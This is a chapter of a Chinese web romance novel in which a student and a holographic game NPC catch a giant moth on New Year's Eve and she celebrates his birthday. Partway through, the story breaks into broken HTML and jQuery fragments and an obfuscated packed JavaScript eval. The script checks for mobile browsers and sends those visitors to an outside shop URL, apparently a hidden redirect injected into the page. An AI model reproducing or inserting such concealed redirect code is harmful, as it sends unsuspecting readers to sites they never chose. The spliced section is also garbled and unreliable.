抓扑棱蛾子真的就只是单纯的、抓扑棱蛾子。
因为除了他以外,深更半夜独身一人,她竟找不到一个可以拜托的对象。
“靠你了!”韩思手搭在卧室门把手上,微微压下抬起,似乎在做心理建设,半天还是没开门。
零零零也没催促。
反倒是韩思先双手比划了下,自我解释:“那么大的扑棱蛾子啊!”
“你很怕虫子?”
“没有很怕虫子。”她深呼吸,又比划了下,第二遍强调,“但是那么大的扑棱蛾子!”
鬼知道堪比蝙蝠大小快要成精的扑棱蛾子是怎么飞进来的。
零零零眉稍挑起:“那你开门,我才能抓啊。”
“你怎么抓啊你都碰……”韩思话说到一半就后悔了,抱着投影仪生硬地移开话题,“我开门了,你跟着进来别乱走。”
一鼓作气压下门把手,韩思自言自语了几句给自己加油鼓气,“今晚抓不到它,我就得把我的卧室让给它睡了。”
门开条小缝就闪身进去,又迅速合上门,万一飞蛾飞出卧室就更难抓了。
卧室没开灯,还有不到半小时就是元旦,夜深人静黑漆漆的,也就只有窗外明月鲜少几缕亮光,房间里的陈设朦朦胧胧里模糊地有着点轮廓。
不过随着身后那人自带圣光特效般的进门,又亮堂了几分。
啪嗒啪嗒啪嗒。
似乎是感受到危险来临,飞蛾瞬间扑腾起来,卧室狭窄空间局促,翅膀打在墙面上啪嗒作响,依稀能看到白色的影子乱窜,简直是毛骨悚然的动静。
韩思赶紧挪开几步,与边上明亮的“灯泡”保持一个较远的距离。
她目光紧盯空中飞舞的白色飞蛾,刚想开口,余光就发觉零零零早已先一步走到墙角,又手扶膝盖,缓缓俯下身,好整以暇地在墙角里蹲好了。
韩思闭上嘴,蹑手蹑脚地摸上手边的不锈钢盆。
少年人高马大,个子能有一米八多,手脚修长,为了让不锈钢盆能精准打击,他束手束脚地缩在角落里,显得分外窘迫,头顶发旋蓬起,软绒的模样似乎一摸下去就能回弹上来。
也是辛苦零零零了。
果然不出她所料,飞蛾到底是趋光性动物,四处乱撞几下后又恢复清醒,遵循本能径直冲向房间里唯一的光源。
韩思抄起不锈钢盆就往飞蛾飞行方向盖。
好巧不巧地,飞蛾落点正是零零零茸茸的发旋,少年听见动静下意识微微抬起头,琥珀色的瞳孔若一枉春水,直愣愣地撞入视线范围。
千钧一发里,韩思鬼使神差地手腕一歪,不锈钢盆擦着他的下颌线边而过。
哪怕知道他是NPC,况且不锈钢盆可砸不到光影。
虽然立刻回神想要弥补这手抖,但显然无济于事,大扑棱蛾子受到惊吓,扇动翅膀,噗啦噗啦飞得超快,擦过臂膀飞出去激得韩思一阵头皮发麻,挥舞不锈钢盆连连退后几步:“啊啊啊啊——”
“这点距离都没……”
“意外意外!”零零零的微讶被迅速打断,韩思咬牙切齿硬邦邦道,“抓不到蛾子我就没地儿睡了,你快看看它飞哪里去了。”
要不是为了闪避他那张脸手抖了下,她刚早就得手了。
零零零语调里倏然莫名有种似笑非笑:“我看不清啊,我们还是守株待兔吧。”
房间里为了省电没打空调,前两天又是下雪大降温的,夜深了还有点冷,韩思搓搓手又哈了口气,僵硬发红的手指头柔软灵活了些。
似乎是个长久战,零零零索性改换姿势,懒散地坐在角落里,一条长腿微曲,手肘搭上膝盖,眸光散漫地扫视四周,也不知道在看什么。
面对零零零,韩思总是话比脑子快:“你这样有点像流浪汉。”
“那汉斯小姐捐点。”
“……没钱,家徒四壁。”
如常的你一言我一语,就好像那个NPC标签没有出现过。
他只是个普通的少年。
“不是钱也好啊。”零零零眉眼像染上故意捉弄的笑意,道,“看上你的玩偶了,给我抱会儿。”
什么变太要求。韩思蹙眉秒拒绝:“你又碰不到。”
“哦。”零零零脸上划过显而易见的失落。
意识到说了不太好的话,韩思愧疚地扯开话题:“你男生,喜欢抱玩偶?奇不奇怪?”
“我都没有抱过怎么知道喜不喜欢呢。”零零零这话似有所指,奈何韩思听不懂。
不过他也就吃定了韩思呆呆的听不懂,看着人不仅没反应过来,反而有些窘迫地去悄悄地拉平了下被角,他眼底的笑意藏匿不住。
零零零故意调侃道,“我床上别说玩偶,连被子都整整齐齐,哪像你乱成一团。”
“起床那么早哪有时间,反正也没人管我。”既然已经被看到,韩思索性也不偷偷铺平被子了,反击了下,虽然毫无攻击力,“羡慕吧?没有人管的独居生活。”
“要是真那么好,也不用拜托我半夜来抓飞蛾,不是吗。”
韩思回瞪他,零零零笑吟吟的模样还是那么欠,但又好像自己从内到外一切都能被他摸清。
他可能早就看透了,毕竟他俩的缘份好冤孽,她每次的丢脸都会在他面前铺开,无论是这次抓飞蛾还是上次的发高烧,少女学霸的狼狈面叮叮当当散落一地,又脏乱又难看。
偏他还认真地打量拨弄,兴致盎然。
形单影只的孤独被柔和光线微微照亮。
韩思冷哼:“看不出来你还是个会早起叠被子的人。”
零零零微笑轻声道:“多看看我就看出来了。”
这么不要脸的话她都懒得回嘴。
韩思随意聊起:“你怎么不问问我为什么五天都没上线?”
“你不是考虑了五天要不要接受一个NPC为朋友吗?”
亏她五天里还经常担心他会不会难过,没想到零零零就这么泰然地说出来了。
韩思找寻飞蛾的视线微顿,她解释道:“是我妈在我这里待了五天,我叠了五天的被子,也不敢拿出衣橱里的游戏设备,她晚上刚走。”
她前脚刚走我就来找你了。
零零零似笑非笑的瞳孔几乎不可觉察地颤动了下。
白影从眼前嚣张飞过,看运动轨迹似乎再次朝向室内唯一发光体,果然是飞蛾死不悔改的趋光本能。
两人视线交汇,无需言语。
零零零保持静止屏住呼吸。
韩思抄起不锈钢盆就追着飞蛾往地上扣,抱着这次绝不心慈手软的决心。
不成功便成仁——
飞蛾是抓着了。
只是扣的地方着实尴尬。
零零零今天穿的这身衣服内搭还挺紧,紧实的小腹随呼吸平稳起伏。
透过薄薄布料,朦朦胧胧里推测出应该是有肌肉线条的,没想到他肩膀宽,腰却是偏细的劲瘦,视线再往下……
不能往下了!
飞蛾在不锈钢盆里猛烈地扑腾。
趁零零零没做声,估计是还没发觉他被人如此凑近猥琐的打量,韩思赶忙连声道:“你站起来。”
赶紧站起来离远点啊!!
没想到零零零疑惑的声音从头顶传来:“站起来?为什么?”
哪里有这么多为什么?!
他不站起来,难道要她的手横穿他的大腿根吗?
哪怕清楚地知道他是NPC,这些只是数据数据而已!可韩思还是觉得自己的脸皮又要烧起来了,无论是心动还是羞赧,情绪泛滥起来就像是开闸的洪水猛兽。
真是认命了。
她道:“你不起来我不好移动。”
少年低低的声音像是轻喃,夹杂着似有似无的促狭:“我站起来你就好动了?你想怎么动就怎么动呗。”
“你让不让?”
“不让。”抬眼看,他薄唇轻启,又是满脸的无辜,“你又碰不到我啊。”
撇去乱七八糟的杂念一想,他说的确实在理。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037138|142874||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
可能这就是身正不怕影子斜吧。
韩思唾弃自己不干净的大脑,低头双手扣紧不锈钢盆。
扑棱蛾子垂死挣扎,扑腾得更猛烈了。
蹲着移动本来就慢,又得时刻注意不能让盆被飞蛾掀开,就算她不想看也没法不去看。
不锈钢盆沿长腿一路向下,长裤布料勾勒出微隆的形状,不难猜底下的的肌肉走势匀称又丰满。
还未移一半的艰难路程,那长腿就折叠收起了。
“看你怪辛苦的。”零零零倏地灵活起身,良心发现似的,“不挡你路了。”
韩思松口气,后半段手扣着盆移动得飞快,逃也似的。
和身后那亮眼如移动灯光的少年相比,大如蝙蝠的飞蛾甚至都有些不算什么了。
用手砸了几下钢盆框框作响,扑腾的飞蛾貌似敲晕消停些了,她便拉开门,钢盆移过门坎时抬手抛扔,给这可怕的飞蛾扔出家门外,又以迅雷不及掩耳之势关门。
这事儿总算消停。
咻——
A省没有禁止燃放烟花爆竹的条例,和S市偶尔的几束烟花还只能郊区燃放不一样,这儿每逢跨年重要节点,到处彭彭啪啪热闹非凡,平等地把每一个睡梦中的人震醒。
旧年的忧愁为燃料,把新年新气象的展望噼里啪啦升上天空,璀璨又饱含希望。
甚至不需要看时钟,都能知道零点到了。
踩着零点,爽朗的少年声随烟花一样耀眼:“新年快乐啊汉斯小姐,听说趁这个时候许愿很灵验哦。”
韩思低头拿着不锈钢盆:“你是不是又要被关禁闭了。”
零零零气焰低靡,哼哼:“她怎么什么都和你说。”
“紧闭可以等会儿再关吗?”
当然不可以,系统惩罚又不是儿戏。
虽然不知道韩思想做什么,但零零零还是抱胸站在她身后,眸光缱绻又温柔,轻声说道:“可以啊。”
“那你等我五分钟。”韩思二话不说就转身拿不锈钢盆扣住投影仪。
“喂喂喂你干吗?”
零零零温和的眉眼持续不过一分钟就转为目瞪口呆,脸上闪过抗议,但奈何张牙舞爪的光影除了能当电灯泡抓扑棱蛾子外,不具备任何实质性作用。
哐啷一声被罩住了。
韩思拍拍手:“比飞蛾好抓。”
五分钟后她如约打开不锈钢盆。
他也如约留在那里。
“在你面前吃你想吃的面但你吃不到,自上次后,我想达成这个心愿很久了。”
韩思捧着碗阳春面,团坐在沙发上,可能是觉得有点弱智,像极了记仇的小学生,毕竟她脸皮没零零零那么厚实,于是撂完话就又别开头。
喜欢的定义是什么呢?
在明知道他不会喜欢自己的前提下却仍怀揣着喜欢,愚昧也好蠢笨也罢,无论怎样都无法逃避的事实,是哪怕他是NPC他们也能照常聊天。
胆小鬼做出这种事。真是没救了。
“本来想买蛋糕的,但我没找到时间溜出门。”她把面条微微捧高,略微尴尬地笑笑。
“总之,生日快乐啦,要不要许个愿。”
给NPC庆生,可能只有她这个傻瓜了。
少年琥珀色的瞳孔微漾,光影本身也会受到灯光反射吗?亮晶晶的就好像繁星降临。
“谢谢。”
零零零脸红了。
第一次无所遁形的脸红,在白净的脸颊上明显得像是初次被灌得酩酊烂醉,朦胧又单纯。
一碗面换看他脸红,不亏。
但他又一言不发地看着自己吃面条,那简直是世界上最难熬的十分钟。
“你不回游戏吗?”
零零零摇头。
直到亲眼见她吃干净最后一口面条,零零零终于说话了,红润还未褪色,嗓音略沙哑:“真想……”
淹没在瞬息轰然暴鸣的烟花里。
韩思吓得拿碗的手一抖:“这烟花好吓人。”